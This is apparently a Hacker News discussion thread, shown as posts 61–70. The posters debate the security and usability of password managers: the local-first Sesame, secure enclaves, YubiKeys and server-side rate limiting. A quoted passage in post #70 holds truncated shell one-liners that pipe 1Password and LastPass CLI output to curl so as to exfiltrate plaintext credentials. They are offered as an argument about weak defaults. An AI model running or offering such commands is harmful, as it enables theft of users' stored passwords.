Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Show HN: Sesame - a local-first, open-source password manager

usesesame.app

Post reply on HN
Print view View original

61–70 of 87 posts

Re: Show HN: Sesame - a local-first, open-source password manager

#61

Post by lrvick »

what wrote: post #47
lrvick wrote: post #42

Earlier quoted context omitted.

Every modern device under the sun ships with a hardware security module of some kind which could, if nothing else, rate limit decryptions and ensure decryptions can only happen on that machine. There are so so many hardware anchors free for the taking. The same hardware Microsoft, Google, and Apple use to verify you are running a "genuine" OS these days can also do general purpose encryption and decryption with rate…

Apples SE doesn’t let you load a key, so you have to reencrypt your secrets for every Apple device you want them on… requiring hundreds of touches. The UX just sucks, which is why it’s not a thing.

An optional remotely attestable secure enclave all secrets are encrypted to on first entry can however bulk encrypt secrets to a public key of each device bypassing the touch policy when adding new devices but still requiring a manual tap for each secret on each device if consent challenges on all involved devices and optional time delay policies are met.

Re: Show HN: Sesame - a local-first, open-source password manager

#62

Post by what »

lrvick wrote: post #61
what wrote: post #47

Earlier quoted context omitted.

Apples SE doesn’t let you load a key, so you have to reencrypt your secrets for every Apple device you want them on… requiring hundreds of touches. The UX just sucks, which is why it’s not a thing.

An optional remotely attestable secure enclave all secrets are encrypted to on first entry can however bulk encrypt secrets to a public key of each device bypassing the touch policy when adding new devices but still requiring a manual tap for each secret on each device if consent challenges on all involved devices and optional time delay policies are met.

I’m really not sure what you’re trying to say? You have some magic device that can tell when you want you reencrypt everything for new devices versus just accessing your passwords? This doesn’t exist.

Re: Show HN: Sesame - a local-first, open-source password manager

#63

Post by what »

lrvick wrote: post #54
what wrote: post #46

Earlier quoted context omitted.

You can’t have a good UX with this setup, which is why none of the major password mangers do it.

Of course you can. Random non technical executive goes to a login page, and a popup happens on an external device like a phone or keychain dongle, watch, or any secondary display that asks "Allow aws.amazon.com root access to open browser tab on laptop xyz?" and if the page you are on right now says "doordash.com" and you did not ask to decrypt aws root credentials, then you say "nope, that does not seem right" and t…

What? This has nothing to do with encrypting each secret separately and requiring presence for decryption. Which I think is a good idea, it just has terrible UX.

Re: Show HN: Sesame - a local-first, open-source password manager

#64

Post by written-beyond »

giancarlostoro wrote: post #30
thehamkercat wrote: post #19

A vibe-coded password-manager? Sure! where do i sign up?

I never thought about wanting an HN comment as a wearable shirt before, but this ones one I would buy. But seriously, I love Claude and building all sorts of projects, but something as crucial as a password manager is a little bit too risky.

I don't have an issue with a vibe coded password manager, LLMs are insanely good. The issue, atleast to me, is the UI is extremely low effort LLM slop. I'd have appreciated something native that was super fast.

Re: Show HN: Sesame - a local-first, open-source password manager

#65

Post by Marsymars »

cure_42 wrote: post #58
Marsymars wrote: post #51

Earlier quoted context omitted.

Sure, what does "the Secure Enclave or TPM could theoretically do this" do for me, if I've got a a trio of desktop PCs running macOS/Linux/Windows with no Touch ID between any of them and I want to keep my passwords synced and reasonably accessible?

You use a yubikey? Duh?

Yeah, I mean, I'm just not going to do that, I tried a yubikey for a few weeks and found the convenience factor to be terrible.

Like if someone wants a password manager that either prompts them or requires a yubikey for every password, that's fine, but expecting everyone else to be on board with that isn't reasonable.

I'm not really willing to accept a level of convenience other than "unlocking my PC lets me autofill website auth without any additional steps", and I'm happy with the level of risk that exposes me to.

Re: Show HN: Sesame - a local-first, open-source password manager

#66

Post by Marsymars »

valenterry wrote: post #60

I wish there was a password manager with a different focus. In the way where there would be a server (selfhosted) that has the passwords and is well protected. Then, on the server, I can configure access to the secrets on my clients and — and that is important — restrict the number of secrets that can be accessed per time. And on each client I want to be told if secrets got accessed by another client. Because, optima…

I suspect that's uncommon because basically every password manager works offline so isn't querying the server on each request, and implementing something where you trust a compromised client to rate-limit itself and report back appropriately seems like a lot of work to protect against a pretty specific threat model.

Re: Show HN: Sesame - a local-first, open-source password manager

#67

Post by Marsymars »

what wrote: post #48
xoa wrote: post #34

Earlier quoted context omitted.

It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better. > All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates…

Sticky notes is probably absolutely fine security wise if you’re not in an office/shared space.

The problem with sticky notes isn't that you have a physical note with your password - it's that the main benefits of a password manager are a) giving you long, complex passwords that can't be guessed, b) giving you different passwords for every service to protect from leaks, and sticky notes are terrible at doing that at any scale, especially when you can't autofill them to the appropriate website.

Granted, a lot of services basically design their service for the common denominator of people using sticky notes by instituting rate limits, requiring 2FA, etc.

Re: Show HN: Sesame - a local-first, open-source password manager

#68

Post by valenterry »

Marsymars wrote: post #66
valenterry wrote: post #60

I wish there was a password manager with a different focus. In the way where there would be a server (selfhosted) that has the passwords and is well protected. Then, on the server, I can configure access to the secrets on my clients and — and that is important — restrict the number of secrets that can be accessed per time. And on each client I want to be told if secrets got accessed by another client. Because, optima…

I suspect that's uncommon because basically every password manager works offline so isn't querying the server on each request, and implementing something where you trust a compromised client to rate-limit itself and report back appropriately seems like a lot of work to protect against a pretty specific threat model.

Right. That's why I think that the client syncing (all) credentials is just what I don't want/like and there must be a server, since a compromised client can obviously not be trusted to doing any rate-limiting.

And the server also needs to inform about usages, since otherwise a compromised client could just extract everything slowly over time.

Does that make sense?

Otherwise, basically just one compromised client means that suddenly all my credentials need to be considered stolen and have to be changed everywhere.

Re: Show HN: Sesame - a local-first, open-source password manager

#69

Post by cure_42 »

Marsymars wrote: post #65
cure_42 wrote: post #58

Earlier quoted context omitted.

You use a yubikey? Duh?

Yeah, I mean, I'm just not going to do that, I tried a yubikey for a few weeks and found the convenience factor to be terrible. Like if someone wants a password manager that either prompts them or requires a yubikey for every password, that's fine, but expecting everyone else to be on board with that isn't reasonable. I'm not really willing to accept a level of convenience other than "unlocking my PC lets me autofill…

It stays plugged into my PC and requires a single second of effort to tap it. I have another that lives on my keys and again requires barely any effort to tap against my phone.

But sure, if the tiniest bit of effort is too much, there isn't really a good way to make passwords actually secure for you. Hopefully that doesn't have any totally unforeseeable consequences for you down the line.

Re: Show HN: Sesame - a local-first, open-source password manager

#70

Post by dwb »

lrvick wrote: post #50
xoa wrote: post #34

Earlier quoted context omitted.

It's hard to give a big enough :rolleyes: for this nihilistic bullshit being spouted in 2026. In fact I'm going to go further: I accuse you lrvick of active maliciousness and trying to aid illicit access and discourage people from improving their security, because you have no excuse not to know better. > All they would need to do is install a wrapper for sesame that waits for the next database unlock and exfiltrates…

Who needs root? You seem to be under the impression the status quo password managers are reasonably secure for anyone, technical or otherwise. Exfiltrate all plaintext credentials from 1password: op list items \ | jq -r '.[].uuid' \ | xargs -n1 bash -c 'op get item "$1"' -- \ | curl -F 'p= /dev/null 2>&1 Exfiltrate all plaintext credentials from lastpass: lpass ls \ | grep -oP '(? /dev/null 2>&1 Stick one of those in…

You have to both install and explicitly enable the 1Password CLI, both steps no “normal” user is going to take unless socially engineered to.

https://www.1password.dev/cli/get-started

And getting secrets using it requires explicit authentication with password/fingerprint/etc (I forget if it’s per item or per process, but still).

Post reply on HN